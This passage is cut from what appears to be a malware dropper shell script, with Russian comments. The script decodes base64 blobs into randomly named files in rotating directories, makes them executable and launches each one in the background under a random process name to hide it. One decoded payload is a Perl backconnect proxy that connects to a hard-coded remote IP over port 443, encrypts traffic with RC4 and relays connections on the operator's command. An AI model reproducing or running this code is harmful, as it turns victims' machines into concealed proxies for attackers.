Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #48 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #48 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 49 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNzInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK 